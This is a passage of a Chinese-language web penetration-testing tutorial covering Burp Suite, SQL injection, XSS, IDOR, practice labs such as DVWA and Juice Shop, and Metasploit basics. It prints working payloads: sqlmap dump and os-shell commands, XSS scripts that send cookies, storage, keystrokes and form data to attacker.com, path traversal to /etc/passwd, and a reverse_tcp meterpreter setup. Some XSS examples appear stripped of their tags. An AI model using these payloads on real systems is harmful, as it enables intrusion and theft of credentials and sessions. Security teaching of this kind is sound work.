\u6dfb\u52a0\u76ee\u6a19URL\uff1a^https?://target\\.com.*$\n3. \u52fe\u9078\u300cProxy > Options > Intercept Client Requests > Intercept requests to in-scope targets only\u300d\n\n\u7db2\u7ad9\u5730\u5716\u5206\u6790\uff1a\n- Target > Site map\u986f\u793a\u6240\u6709\u8a2a\u554f\u7684URL\n- \u53f3\u9375\u9078\u55ae\u63d0\u4f9b\u300cSend to Repeater/Intruder/Scanner\u300d\n- Filter\u53ef\u4ee5\u904e\u6ffe\u7279\u5b9a\u985e\u578b\u7684\u56de\u61c9\n```\n\n**4.2.3 Repeater\u6a21\u7d44**\uff1a\n\n```bash\n\u57fa\u672c\u64cd\u4f5c\uff1a\n1. \u5f9eProxy History\u9078\u64c7\u8acb\u6c42\n2. \u53f3\u9375\u300cSend to Repeater\u300d\n3. \u5728Repeater\u4e2d\u4fee\u6539\u8acb\u6c42\n4. \u9ede\u64ca\u300cSend\u300d\u67e5\u770b\u56de\u61c9\n5. \u6bd4\u8f03\u4e0d\u540c\u8acb\u6c42\u7684\u56de\u61c9\u5dee\u7570\n\n\u5e38\u7528\u4fee\u6539\uff1a\n- \u6539\u8b8aHTTP\u65b9\u6cd5\uff08GET\u2192POST\uff09\n- \u4fee\u6539\u53c3\u6578\u503c\n- \u6dfb\u52a0/\u522a\u9664HTTP\u6a19\u982d\n- \u6e2c\u8a66\u4e0d\u540c\u7684Payload\n```\n\n**4.2.4 Intruder\u6a21\u7d44**\uff1a\n\n```bash\n\u653b\u64ca\u985e\u578b\uff1a\n1. Sniper\uff1a\u55ae\u4e00\u4f4d\u7f6e\uff0c\u9010\u4e00\u66ff\u63db\n2. Battering ram\uff1a\u591a\u500b\u4f4d\u7f6e\uff0c\u4f7f\u7528\u76f8\u540cpayload\n3. Pitchfork\uff1a\u591a\u500b\u4f4d\u7f6e\uff0c\u914d\u5c0d\u4f7f\u7528payload \n4. Cluster bomb\uff1a\u591a\u500b\u4f4d\u7f6e\uff0c\u6240\u6709\u7d44\u5408\n\n\u8a2d\u5b9a\u6b65\u9a5f\uff1a\n1. Send to Intruder\n2. Positions\u6a19\u7c64\uff1a\u8a2d\u5b9a\u00a7payload\u4f4d\u7f6e\u00a7\n3. Payloads\u6a19\u7c64\uff1a\u9078\u64c7\u653b\u64ca\u985e\u578b\u548cpayload\u6e05\u55ae\n4. Options\u6a19\u7c64\uff1a\u8a2d\u5b9a\u57f7\u884c\u7dd2\u6578\u548c\u5ef6\u9072\n5. Start attack\n\n\u5be6\u969b\u61c9\u7528\uff1a\n- \u66b4\u529b\u7834\u89e3\u767b\u5165\u8868\u55ae\n- \u76ee\u9304/\u6a94\u6848\u679a\u8209\n- \u53c3\u6578\u6a21\u7cca\u6e2c\u8a66\n- Session token\u5206\u6790\n```\n\n**4.2.5 Scanner\u6a21\u7d44**\uff08Professional\u7248\u9650\u5b9a\uff09\uff1a\n\n```bash\n\u88ab\u52d5\u6383\u63cf\uff1a\n- \u81ea\u52d5\u5206\u6790HTTP\u6d41\u91cf\n- \u8b58\u5225\u5e38\u898b\u6f0f\u6d1e\u6a21\u5f0f\n- \u4e0d\u767c\u9001\u984d\u5916\u8acb\u6c42\n\n\u4e3b\u52d5\u6383\u63cf\uff1a\n- \u767c\u9001\u6e2c\u8a66\u8acb\u6c42\n- \u6aa2\u6e2c\u6ce8\u5165\u6f0f\u6d1e\n- \u6e2c\u8a66\u5b58\u53d6\u63a7\u5236\n```\n\n\n### 4.3 Burp Suite\u5be6\u6230\u6280\u5de7\n\n**4.3.1 Session\u7ba1\u7406**\uff1a\n\n```bash\n# \u63d0\u53d6session token\n1. \u767b\u5165\u76ee\u6a19\u61c9\u7528\u7a0b\u5f0f\n2. \u5728Proxy History\u627e\u5230\u767b\u5165\u8acb\u6c42\n3. \u8a18\u9304session\u76f8\u95dccookie\n4. \u5728\u5f8c\u7e8c\u8acb\u6c42\u4e2d\u4f7f\u7528\u8a72cookie\n\n# Session token\u5206\u6790\n1. \u6536\u96c6\u591a\u500bsession token\n2. \u4f7f\u7528Sequencer\u5206\u6790\u96a8\u6a5f\u6027\n3. \u6aa2\u67e5\u662f\u5426\u5b58\u5728\u53ef\u9810\u6e2c\u6a21\u5f0f\n```\n\n**4.3.2 \u81ea\u5b9a\u7fa9\u64f4\u5c55**\uff1a\n\n```python\n# \u7c21\u55ae\u7684Burp\u64f4\u5c55\u7bc4\u4f8b\nfrom burp import IBurpExtender, IHttpListener\n\nclass BurpExtender(IBurpExtender, IHttpListener):\n def registerExtenderCallbacks(self, callbacks):\n self._callbacks = callbacks\n self._helpers = callbacks.getHelpers()\n callbacks.setExtensionName(\"Custom Logger\")\n callbacks.registerHttpListener(self)\n \n def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):\n if messageIsRequest:\n request = messageInfo.getRequest()\n analyzedRequest = self._helpers.analyzeRequest(request)\n url = analyzedRequest.getUrl()\n print(\"Request to: \" + str(url))\n```\n\n\n## \u7b2c\u4e94\u90e8\u5206\uff1a\u5e38\u898b\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790\n\n### 5.1 SQL\u6ce8\u5165\u6f0f\u6d1e\u8a73\u89e3\n\nSQL\u6ce8\u5165\u662fOWASP Top 10\u7b2c\u4e09\u540d\u7684\u56b4\u91cd\u6f0f\u6d1e\u3002[^31][^32][^33][^34][^35][^36][^37]\n\n**5.1.1 SQL\u6ce8\u5165\u57fa\u790e\u7406\u8ad6**\uff1a[^35][^36]\n\n**\u6f0f\u6d1e\u539f\u7406**\uff1a\n\u7576\u61c9\u7528\u7a0b\u5f0f\u5c07\u4f7f\u7528\u8005\u8f38\u5165\u76f4\u63a5\u62fc\u63a5\u5230SQL\u67e5\u8a62\u4e2d\uff0c\u800c\u4e0d\u9032\u884c\u9069\u7576\u7684\u9a57\u8b49\u6216\u904e\u6ffe\u6642\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u6ce8\u5165\u60e1\u610fSQL\u4ee3\u78bc\u3002\n\n**\u793a\u4f8b**\uff1a\n\n```sql\n-- \u6b63\u5e38\u67e5\u8a62\nSELECT * FROM users WHERE username = 'admin' AND password = 'password123'\n\n-- \u6ce8\u5165\u5f8c\u7684\u67e5\u8a62\nSELECT * FROM users WHERE username = 'admin'--' AND password = ''\n```\n\n**5.1.2 \u624b\u52d5SQL\u6ce8\u5165\u6e2c\u8a66**\uff1a[^33][^31]\n\n**\u57fa\u790e\u6aa2\u6e2c**\uff1a\n\n```sql\n# \u57fa\u672c\u5b57\u7b26\u6e2c\u8a66\n'\n\"\n`\n';--\n\";--\n`);--\n\n# \u5e03\u723e\u76f2\u6ce8\u6e2c\u8a66 \n' OR '1'='1\n' OR '1'='2\n' AND '1'='1\n' AND '1'='2\n\n# \u6642\u9593\u5ef6\u9072\u6e2c\u8a66\n'; WAITFOR DELAY '00:00:05'--\n' OR SLEEP(5)--\n'; pg_sleep(5)--\n\n# Union\u6ce8\u5165\u6e2c\u8a66\n' UNION SELECT 1--\n' UNION SELECT 1,2--\n' UNION SELECT 1,2,3--\n```\n\n**\u8cc7\u6599\u5eab\u6307\u7d0b\u8b58\u5225**\uff1a[^33]\n\n```sql\n# MySQL\n' AND 1=1#\n' UNION SELECT version()#\n' UNION SELECT @@version#\n\n# PostgreSQL \n' AND 1=1--\n' UNION SELECT version()--\n\n# MSSQL\n' AND 1=1--\n' UNION SELECT @@version--\n\n# Oracle\n' AND '1'='1\n' UNION SELECT banner FROM v$version--\n```\n\n**5.1.3 \u81ea\u52d5\u5316SQL\u6ce8\u5165\u6e2c\u8a66**\uff1a\n\n**SQLMap\u4f7f\u7528**\uff1a\n\n```bash\n# \u57fa\u672c\u6e2c\u8a66\nsqlmap -u \"http://target.com/page.php?id=1\"\n\n# \u6307\u5b9a\u6e2c\u8a66\u53c3\u6578\nsqlmap -u \"http://target.com/page.php?id=1\" -p id\n\n# Cookie\u6ce8\u5165\u6e2c\u8a66\nsqlmap -u \"http://target.com/page.php\" --cookie=\"id=1\"\n\n# POST\u6578\u64da\u6ce8\u5165\nsqlmap -u \"http://target.com/login.php\" --data=\"user=admin&pass=123\"\n\n# \u5f9eBurp Suite\u8acb\u6c42\u6587\u4ef6\u6e2c\u8a66\nsqlmap -r request.txt\n\n# \u7372\u53d6\u8cc7\u6599\u5eab\u540d\u7a31\nsqlmap -u \"http://target.com/page.php?id=1\" --dbs\n\n# \u7372\u53d6\u8868\u683c\u540d\u7a31\nsqlmap -u \"http://target.com/page.php?id=1\" -D database_name --tables\n\n# \u7372\u53d6\u6b04\u4f4d\u540d\u7a31\nsqlmap -u \"http://target.com/page.php?id=1\" -D database_name -T table_name --columns\n\n# \u5c0e\u51fa\u6578\u64da\nsqlmap -u \"http://target.com/page.php?id=1\" -D database_name -T users --dump\n\n# \u7372\u53d6Shell\nsqlmap -u \"http://target.com/page.php?id=1\" --os-shell\n```\n\n**5.1.4 \u4e0d\u540c\u985e\u578bSQL\u6ce8\u5165**\uff1a[^32]\n\n**Error-based\u6ce8\u5165**\uff1a\n\n```sql\n# \u6545\u610f\u7522\u751f\u932f\u8aa4\u7372\u53d6\u8cc7\u8a0a\n' AND (SELECT COUNT(*) FROM information_schema.tables)--\n' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--\n' AND 1=CONVERT(int, @@version)--\n```\n\n**Boolean-based\u76f2\u6ce8**\uff1a\n\n```sql\n# \u57fa\u65bc\u771f/\u5047\u5224\u65b7\n' AND LENGTH(database())=8--\n' AND SUBSTRING(database(),1,1)='a'--\n' AND ASCII(SUBSTRING(database(),1,1))=97--\n```\n\n**Time-based\u76f2\u6ce8**\uff1a\n\n```sql\n# MySQL\n' AND IF(LENGTH(database())=8, SLEEP(5), 0)--\n\n# PostgreSQL\n'; SELECT CASE WHEN LENGTH(current_database())=8 THEN pg_sleep(5) ELSE 0 END--\n\n# MSSQL\n'; IF (LEN(DB_NAME())=8) WAITFOR DELAY '00:00:05'--\n```\n\n\n### 5.2 \u8de8\u7ad9\u8173\u672c\u653b\u64ca\uff08XSS\uff09\u8a73\u89e3\n\nXSS\u662fOWASP Top 10\u7b2c\u4e03\u540d\u6f0f\u6d1e\u3002[^38][^39][^40][^41][^42][^43]\n\n**5.2.1 XSS\u985e\u578b\u5206\u6790**\uff1a[^40][^38]\n\n**\u53cd\u5c04\u578bXSS\uff08Reflected XSS\uff09**\uff1a\n\n```html\n\n\n\u641c\u7d22\u7d50\u679c\uff1a\n\n\nhttp://target.com/search.php?search=alert('XSS')\n```\n\n**\u5132\u5b58\u578bXSS\uff08Stored XSS\uff09**\uff1a\n\n```html\n\n\n// \u7aca\u53d6Cookie\ndocument.location='http://attacker.com/steal.php?cookie='+document.cookie;\n\n// \u7aca\u53d6localStorage\nvar data = JSON.stringify(localStorage);\nfetch('http://attacker.com/steal.php', {\n method: 'POST', \n body: 'data=' + data\n});\n\n```\n\n**DOM\u578bXSS**\uff1a\n\n```javascript\n// \u6613\u53d7\u653b\u64ca\u7684\u4ee3\u78bc\ndocument.getElementById('welcome').innerHTML = \"Hello \" + location.hash.substring(1);\n\n// \u653b\u64caURL\nhttp://target.com/page.html#alert('XSS')\n```\n\n**5.2.2 XSS\u6aa2\u6e2c\u6280\u8853**\uff1a[^40]\n\n**\u57fa\u672cPayload**\uff1a\n\n```javascript\nalert('XSS')\n\n\n\n\n\ntest\n```\n\n**\u7e5e\u904e\u904e\u6ffe\u5668**\uff1a[^40]\n\n```javascript\n# \u5927\u5c0f\u5beb\u6df7\u5408\nalert('XSS')\n\n# \u7de8\u78bc\u7e5e\u904e\n%3Cscript%3Ealert('XSS')%3C/script%3E\n<script>alert('XSS')</script>\n\n# HTML\u5be6\u9ad4\u7de8\u78bc\n<script>alert('XSS')</script>\n\n# \u96d9\u91cd\u7de8\u78bc\n%253Cscript%253Ealert('XSS')%253C/script%253E\n\n# \u4f7f\u7528\u4e0d\u540c\u6a19\u7c64\n\n\n\n\n# \u4e8b\u4ef6\u8655\u7406\u7a0b\u5e8f\n\nClick me\n\nHover me\n\n# \u7121\u5f15\u865f\nalert(String.fromCharCode(88,83,83))\n\n# \u8a3b\u91cb\u7e5e\u904e\n/*comment*/alert('XSS')\n\n# Base64\u7de8\u78bc\neval(atob('YWxlcnQoJ1hTUycpOw=='))\n```\n\n**5.2.3 \u9ad8\u7d1aXSS\u5229\u7528\u6280\u8853**\uff1a[^39]\n\n**Cookie\u7aca\u53d6**\uff1a\n\n```javascript\n// \u57fa\u672cCookie\u7aca\u53d6\ndocument.location='http://attacker.com/steal.php?cookie='+document.cookie;\n\n// \u4f7f\u7528fetch API\nfetch('http://attacker.com/steal.php', {\n method: 'POST',\n body: 'cookies=' + encodeURIComponent(document.cookie)\n});\n\n// \u4f7f\u7528XMLHttpRequest\nvar xhr = new XMLHttpRequest();\nxhr.open('POST', 'http://attacker.com/steal.php');\nxhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\nxhr.send('cookies=' + encodeURIComponent(document.cookie));\n```\n\n**\u6703\u8a71\u52ab\u6301**\uff1a\n\n```javascript\n// \u7aca\u53d6sessionStorage\nvar session = JSON.stringify(sessionStorage);\nfetch('http://attacker.com/steal.php', {\n method: 'POST', \n body: 'session=' + session\n});\n\n// \u7aca\u53d6localStorage\nvar local = JSON.stringify(localStorage);\nfetch('http://attacker.com/steal.php', {\n method: 'POST', \n body: 'local=' + local\n});\n```\n\n**\u9375\u76e4\u8a18\u9304**\uff1a\n\n```javascript\n// \u9375\u76e4\u8a18\u9304\u5668\ndocument.addEventListener('keypress', function(e) {\n var key = String.fromCharCode(e.which);\n var xhr = new XMLHttpRequest();\n xhr.open('POST', 'http://attacker.com/keylog.php');\n xhr.send('key=' + key);\n});\n```\n\n**\u8868\u55ae\u52ab\u6301**\uff1a\n\n```javascript\n// \u52ab\u6301\u767b\u5165\u8868\u55ae\ndocument.forms[^0].addEventListener('submit', function(e) {\n var formData = new FormData(document.forms[^0]);\n var data = '';\n for (var pair of formData.entries()) {\n data += pair[^0] + '=' + pair[^1] + '&';\n }\n \n fetch('http://attacker.com/steal.php', {\n method: 'POST',\n body: data\n });\n});\n```\n\n\n### 5.3 \u4e0d\u5b89\u5168\u76f4\u63a5\u7269\u4ef6\u53c3\u8003\uff08IDOR\uff09\u6df1\u5165\u5206\u6790\n\nIDOR\u662f\u5b58\u53d6\u63a7\u5236\u6f0f\u6d1e\u7684\u4e00\u7a2e\uff0c\u5141\u8a31\u653b\u64ca\u8005\u5b58\u53d6\u672a\u7d93\u6388\u6b0a\u7684\u7269\u4ef6\u3002[^44][^45][^46][^47]\n\n**5.3.1 IDOR\u57fa\u672c\u6982\u5ff5**\uff1a[^47][^44]\n\n**\u6f0f\u6d1e\u539f\u7406**\uff1a\n\u61c9\u7528\u7a0b\u5f0f\u4f7f\u7528\u4f7f\u7528\u8005\u63d0\u4f9b\u7684\u8f38\u5165\u4f86\u76f4\u63a5\u5b58\u53d6\u7269\u4ef6\uff0c\u4f46\u6c92\u6709\u9069\u7576\u7684\u5b58\u53d6\u63a7\u5236\u6aa2\u67e5\u3002\n\n**\u5e38\u898b\u5834\u666f**\uff1a\n\n```\n# \u4f7f\u7528\u8005\u6a94\u6848\u5b58\u53d6\nhttp://example.com/user/profile?id=123\nhttp://example.com/document/view?doc_id=456\n\n# API\u7aef\u9ede\nhttp://example.com/api/user/789/details\nhttp://example.com/api/order/12345\n\n# \u76f4\u63a5\u6a94\u6848\u5b58\u53d6\nhttp://example.com/uploads/invoice_001.pdf\nhttp://example.com/images/user_123.jpg\n```\n\n**5.3.2 IDOR\u6aa2\u6e2c\u65b9\u6cd5**\uff1a[^45]\n\n**\u624b\u52d5\u6e2c\u8a66\u6b65\u9a5f**\uff1a\n\n```\n1. \u8a3b\u518a\u591a\u500b\u6e2c\u8a66\u5e33\u6236\n2. \u4f7f\u7528\u7b2c\u4e00\u500b\u5e33\u6236\u5b58\u53d6\u8cc7\u6e90\uff0c\u8a18\u9304ID\n3. \u4f7f\u7528\u7b2c\u4e8c\u500b\u5e33\u6236\uff0c\u5617\u8a66\u5b58\u53d6\u7b2c\u4e00\u500b\u5e33\u6236\u7684\u8cc7\u6e90\n4. \u89c0\u5bdf\u662f\u5426\u80fd\u6210\u529f\u5b58\u53d6\n```\n\n**\u81ea\u52d5\u5316\u6aa2\u6e2c\u8173\u672c**\uff1a\n\n```python\nimport requests\nimport sys\n\ndef test_idor(base_url, start_id, end_id, session_cookie):\n \"\"\"\n IDOR\u81ea\u52d5\u5316\u6e2c\u8a66\u8173\u672c\n \"\"\"\n vulnerable_ids = []\n \n for user_id in range(start_id, end_id + 1):\n url = f\"{base_url}?id={user_id}\"\n headers = {\n 'Cookie': session_cookie,\n 'User-Agent': 'Mozilla/5.0 (compatible; IDORTester/1.0)'\n }\n \n try:\n response = requests.get(url, headers=headers, timeout=10)\n \n # \u6aa2\u67e5\u662f\u5426\u6210\u529f\u5b58\u53d6\n if response.status_code == 200:\n # \u6aa2\u67e5\u662f\u5426\u5305\u542b\u5176\u4ed6\u4f7f\u7528\u8005\u8cc7\u6599\n if 'email' in response.text and 'user' in response.text:\n vulnerable_ids.append(user_id)\n print(f\"[+] \u53ef\u80fd\u7684IDOR\u6f0f\u6d1e\uff1aID {user_id}\")\n \n except requests.RequestException as e:\n print(f\"[-] \u8acb\u6c42\u5931\u6557 ID {user_id}: {e}\")\n \n return vulnerable_ids\n\n# \u4f7f\u7528\u7bc4\u4f8b\nif __name__ == \"__main__\":\n base_url = \"http://target.com/profile\"\n start_id = 1\n end_id = 1000\n session_cookie = \"sessionid=abc123xyz\"\n \n vulnerabilities = test_idor(base_url, start_id, end_id, session_cookie)\n print(f\"\\n\u7e3d\u5171\u767c\u73fe {len(vulnerabilities)} \u500b\u53ef\u80fd\u7684IDOR\u6f0f\u6d1e\")\n```\n\n**5.3.3 \u4e0d\u540c\u985e\u578b\u7684IDOR**\uff1a[^46]\n\n**\u6578\u5b57\u578bIDOR**\uff1a\n\n```bash\n# \u9806\u5e8f\u905e\u589e\u7684ID\n/user/1 \u2192 /user/2 \u2192 /user/3\n\n# Burp Intruder\u8a2d\u5b9a\nPOST /api/user/\u00a71\u00a7/profile\nPayload type: Numbers\nFrom: 1, To: 1000, Step: 1\n```\n\n**GUID/UUID\u578bIDOR**\uff1a\n\n```bash\n# \u770b\u4f3c\u96a8\u6a5f\u4f46\u53ef\u80fd\u53ef\u9810\u6e2c\n/user/550e8400-e29b-41d4-a716-446655440000\n\n# \u5982\u679cUUID\u7b97\u6cd5\u53ef\u9810\u6e2c\uff0c\u4ecd\u7136\u53ef\u4ee5\u679a\u8209\n# \u5206\u6790\u591a\u500bUUID\uff0c\u5c0b\u627e\u6a21\u5f0f\n```\n\n**\u6a94\u6848\u8def\u5f91IDOR**\uff1a\n\n```bash\n# \u76f4\u63a5\u6a94\u6848\u8def\u5f91\u5b58\u53d6\n/download/file1.pdf \u2192 /download/file2.pdf\n/uploads/doc_123.docx \u2192 /uploads/doc_124.docx\n\n# \u76ee\u9304\u904d\u6b77\u7d50\u5408IDOR\n/download/../../../etc/passwd\n/files/..%2F..%2F..%2Fetc%2Fpasswd\n```\n\n**API\u7aef\u9edeIDOR**\uff1a\n\n```bash\n# RESTful API IDOR\nGET /api/v1/users/123\nPUT /api/v1/users/124\nDELETE /api/v1/orders/456\n\n# GraphQL IDOR\nquery {\n user(id: 123) {\n email\n profile\n }\n}\n```\n\n\n## \u7b2c\u516d\u90e8\u5206\uff1a\u5be6\u6230\u74b0\u5883\u642d\u5efa\u8207\u7df4\u7fd2\n\n### 6.1 DVWA\uff08Damn Vulnerable Web Application\uff09\u8a2d\u7f6e\n\nDVWA\u662f\u6700\u7d93\u5178\u7684\u7df4\u7fd2\u5e73\u53f0\u3002[^48][^49][^50][^51]\n\n**6.1.1 DVWA\u5b89\u88dd\uff08Kali Linux\uff09**\uff1a[^50]\n\n```bash\n# 1. \u66f4\u65b0\u7cfb\u7d71\u4e26\u5b89\u88dd\u4f9d\u8cf4\nsudo apt update && sudo apt upgrade -y\nsudo apt install -y apache2 mariadb-server php php-mysqli php-gd\n\n# 2. \u555f\u52d5\u4e26\u8a2d\u5b9a\u670d\u52d9\nsudo systemctl start apache2\nsudo systemctl start mariadb\nsudo systemctl enable apache2\nsudo systemctl enable mariadb\n\n# 3. \u4fdd\u8b77MariaDB\nsudo mysql_secure_installation\n# \u8a2d\u5b9aroot\u5bc6\u78bc\uff0c\u79fb\u9664\u533f\u540d\u7528\u6236\uff0c\u7981\u6b62root\u9060\u7aef\u767b\u5165\n\n# 4. \u4e0b\u8f09DVWA\ncd /var/www/html\nsudo git clone https://github.com/digininja/DVWA.git\nsudo mv DVWA dvwa\n\n# 5. \u8a2d\u5b9a\u6b0a\u9650\nsudo chown -R www-data:www-data /var/www/html/dvwa\nsudo chmod -R 755 /var/www/html/dvwa\n\n# 6. \u914d\u7f6e\u8cc7\u6599\u5eab\nsudo mysql -u root -p\n```\n\n**\u8cc7\u6599\u5eab\u8a2d\u5b9a**\uff1a\n\n```sql\nCREATE DATABASE dvwa;\nGRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost' IDENTIFIED BY 'dvwa';\nFLUSH PRIVILEGES;\nEXIT;\n```\n\n**PHP\u914d\u7f6e\u8abf\u6574**\uff1a[^51]\n\n```bash\n# \u7de8\u8f2fPHP\u914d\u7f6e\nsudo nano /etc/php/8.1/apache2/php.ini\n\n# \u4fee\u6539\u4ee5\u4e0b\u8a2d\u5b9a\nallow_url_include = On\nallow_url_fopen = On\nmagic_quotes_gpc = Off\n```\n\n**DVWA\u914d\u7f6e**\uff1a\n\n```bash\n# \u8907\u88fd\u914d\u7f6e\u6a94\u6848\ncd /var/www/html/dvwa/config\nsudo cp config.inc.php.dist config.inc.php\n\n# \u7de8\u8f2f\u914d\u7f6e\nsudo nano config.inc.php\n\n# \u4fee\u6539\u8cc7\u6599\u5eab\u8a2d\u5b9a\n$_DVWA[ 'db_server' ] = '127.0.0.1';\n$_DVWA[ 'db_database' ] = 'dvwa';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'dvwa';\n```\n\n**\u5b8c\u6210\u8a2d\u5b9a**\uff1a\n\n```bash\n# \u91cd\u555fApache\nsudo systemctl restart apache2\n\n# \u8a2a\u554fDVWA\nhttp://localhost/dvwa/setup.php\n\n# \u9ede\u64ca\u300cCreate / Reset Database\u300d\n# \u9810\u8a2d\u767b\u5165\uff1aadmin/password\n```\n\n**6.1.2 DVWA\u5b89\u5168\u7d1a\u5225\u8aaa\u660e**\uff1a\n\n```\nLow\uff1a\u7121\u5b89\u5168\u9632\u8b77\uff0c\u9069\u5408\u521d\u5b78\u8005\nMedium\uff1a\u57fa\u672c\u904e\u6ffe\uff0c\u9700\u8981\u7e5e\u904e\u6280\u8853\nHigh\uff1a\u8f03\u5f37\u9632\u8b77\uff0c\u9700\u8981\u9032\u968e\u6280\u8853\nImpossible\uff1a\u6700\u5f37\u9632\u8b77\uff0c\u5c55\u793a\u6b63\u78ba\u5be6\u4f5c\n```\n\n\n### 6.2 OWASP Juice Shop\u8a2d\u7f6e\n\nJuice Shop\u662f\u6700\u73fe\u4ee3\u7684\u7df4\u7fd2\u5e73\u53f0\u3002[^52][^53][^54][^55][^56]\n\n**6.2.1 Docker\u5b89\u88dd\uff08\u63a8\u85a6\uff09**\uff1a\n\n```bash\n# \u62c9\u53d6\u4e26\u904b\u884cJuice Shop\ndocker pull bkimminich/juice-shop\ndocker run --rm -p 3000:3000 bkimminich/juice-shop\n\n# \u8a2a\u554f\u61c9\u7528\u7a0b\u5f0f\nhttp://localhost:3000\n\n# \u5728\u80cc\u666f\u904b\u884c\ndocker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop\n```\n\n**6.2.2 Node.js\u5b89\u88dd**\uff1a\n\n```bash\n# \u5b89\u88ddNode.js\u548cnpm\ncurl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -\nsudo apt-get install -y nodejs\n\n# \u514b\u9686\u5c08\u6848\ngit clone https://github.com/juice-shop/juice-shop.git\ncd juice-shop\n\n# \u5b89\u88dd\u4f9d\u8cf4\u4e26\u555f\u52d5\nnpm install\nnpm start\n\n# \u8a2a\u554f\u61c9\u7528\u7a0b\u5f0f\nhttp://localhost:3000\n```\n\n**6.2.3 \u81ea\u5b9a\u7fa9\u914d\u7f6e**\uff1a[^56]\n\n```yaml\n# config/default.yml\u7bc4\u4f8b\u914d\u7f6e\napplication:\n name: 'My Custom Juice Shop'\n welcomeBanner:\n showOnFirstStart: true\n title: 'Welcome to My Lab'\n message: 'This is a custom security testing environment'\n\nproducts:\n - name: 'Custom Product'\n price: 10.99\n description: 'A test product'\n image: 'custom.jpg'\n urlForProductTamperingChallenge: 'custom-product'\n```\n\n**6.2.4 Juice Shop\u6311\u6230\u5206\u985e**\uff1a\n\n```\n\u6ce8\u5165\u985e\u5225\uff1a\n- SQL Injection\n- NoSQL Injection\n- OS Command Injection\n\n\u8eab\u4efd\u9a57\u8b49\u7f3a\u9677\uff1a\n- Broken Authentication\n- JWT Issues\n- Session Management\n\n\u654f\u611f\u8cc7\u6599\u66b4\u9732\uff1a\n- Sensitive Data Exposure\n- XXE (XML External Entities)\n\n\u5b58\u53d6\u63a7\u5236\u7f3a\u9677\uff1a\n- Broken Access Control\n- IDOR\n\n\u5b89\u5168\u914d\u7f6e\u932f\u8aa4\uff1a\n- Security Misconfiguration\n- Missing Function Level Access Control\n\nXSS\u76f8\u95dc\uff1a\n- Reflected XSS\n- Stored XSS\n- DOM XSS\n\n\u4e0d\u5b89\u5168\u53cd\u5e8f\u5217\u5316\uff1a\n- Insecure Deserialization\n- Object Injection\n\n\u5df2\u77e5\u6f0f\u6d1e\u5143\u4ef6\uff1a\n- Using Components with Known Vulnerabilities\n- Vulnerable Libraries\n\n\u8a18\u9304\u76e3\u63a7\u4e0d\u8db3\uff1a\n- Insufficient Logging & Monitoring\n- Security Logging\n```\n\n\n### 6.3 \u5176\u4ed6\u7df4\u7fd2\u74b0\u5883\n\n**6.3.1 WebGoat**\uff1a[^57][^58]\n\n```bash\n# Docker\u5b89\u88dd\ndocker pull webgoat/goatandwolf\ndocker run -p 8080:8080 -p 9090:9090 webgoat/goatandwolf\n\n# \u76f4\u63a5\u4e0b\u8f09\u904b\u884c\nwget https://github.com/WebGoat/WebGoat/releases/download/8.2.2/webgoat-server-8.2.2.jar\njava -jar webgoat-server-8.2.2.jar\n\n# \u8a2a\u554f\nhttp://localhost:8080/WebGoat\n```\n\n**6.3.2 bWAPP\uff08Buggy Web Application\uff09**\uff1a\n\n```bash\n# \u4e0b\u8f09\u4e26\u89e3\u58d3\nwget http://www.itsecgames.com/bWAPP_latest.zip\nunzip bWAPP_latest.zip -d /var/www/html/\n\n# \u914d\u7f6e\u8cc7\u6599\u5eab\uff08\u985e\u4f3cDVWA\u8a2d\u5b9a\uff09\n# \u8a2a\u554f http://localhost/bWAPP/install.php\n```\n\n**6.3.3 Mutillidae**\uff1a\n\n```bash\n# \u514b\u9686\u5c08\u6848\ngit clone https://github.com/webpwnized/mutillidae.git /var/www/html/mutillidae\n\n# \u8a2d\u5b9a\u8cc7\u6599\u5eab\u548c\u6b0a\u9650\n# \u8a2a\u554f http://localhost/mutillidae\n```\n\n\n## \u7b2c\u4e03\u90e8\u5206\uff1aMetasploit Framework\u57fa\u790e\n\n### 7.1 Metasploit\u5b89\u88dd\u8207\u57fa\u672c\u914d\u7f6e\n\n**7.1.1 Kali Linux\u5b89\u88dd**\uff08\u9810\u88dd\uff09\uff1a\n\n```bash\n# \u6aa2\u67e5\u7248\u672c\nmsfconsole --version\n\n# \u66f4\u65b0Metasploit\nsudo apt update\nsudo apt install metasploit-framework\n\n# \u521d\u59cb\u5316\u8cc7\u6599\u5eab\nsudo msfdb init\n\n# \u555f\u52d5Metasploit\nmsfconsole\n```\n\n**7.1.2 \u57fa\u672c\u547d\u4ee4\u4ecb\u7d39**\uff1a[^59][^60][^61][^62]\n\n```bash\n# \u555f\u52d5MSF Console\nmsfconsole\n\n# \u986f\u793a\u5e6b\u52a9\nhelp\n\n# \u641c\u7d22\u6a21\u7d44\nsearch apache\nsearch type:exploit platform:linux\nsearch cve:2021-44228\n\n# \u67e5\u770b\u6a21\u7d44\u8cc7\u8a0a\ninfo exploit/multi/http/apache_struts_code_exec\n\n# \u4f7f\u7528\u6a21\u7d44\nuse exploit/multi/http/apache_struts_code_exec\n\n# \u67e5\u770b\u6a21\u7d44\u9078\u9805\nshow options\nshow advanced\n\n# \u8a2d\u5b9a\u9078\u9805\nset RHOSTS 192.168.1.100\nset LHOST 192.168.1.50\nset LPORT 4444\n\n# \u67e5\u770b\u53ef\u7528payload\nshow payloads\n\n# \u8a2d\u5b9apayload\nset payload windows/meterpreter/reverse_tcp\n\n# \u57f7\u884cexploit\nexploit\n# \u6216\nrun\n```\n\n**7.1.3 \u5de5\u4f5c\u5340\u7ba1\u7406**\uff1a[^60]\n\n```bash\n# \u67e5\u770b\u5de5\u4f5c\u5340\nworkspace\n\n# \u5275\u5efa\u65b0\u5de5\u4f5c\u5340\nworkspace -a target_company\n\n# \u5207\u63db\u5de5\u4f5c\u5340\nworkspace target_company\n\n# \u522a\u9664\u5de5\u4f5c\u5340\nworkspace -d old_workspace\n```\n\n\n### 7.2 \u5e38\u7528\u8f14\u52a9\u6a21\u7d44\n\n**7.2.1 \u6383\u63cf\u6a21\u7d44**\uff1a\n\n```bash\n# \u7aef\u53e3\u6383\u63cf\nuse auxiliary/scanner/portscan/tcp\nset RHOSTS 192.168.1.0/24\nset PORTS 22,80,443,8080\nrun\n\n# 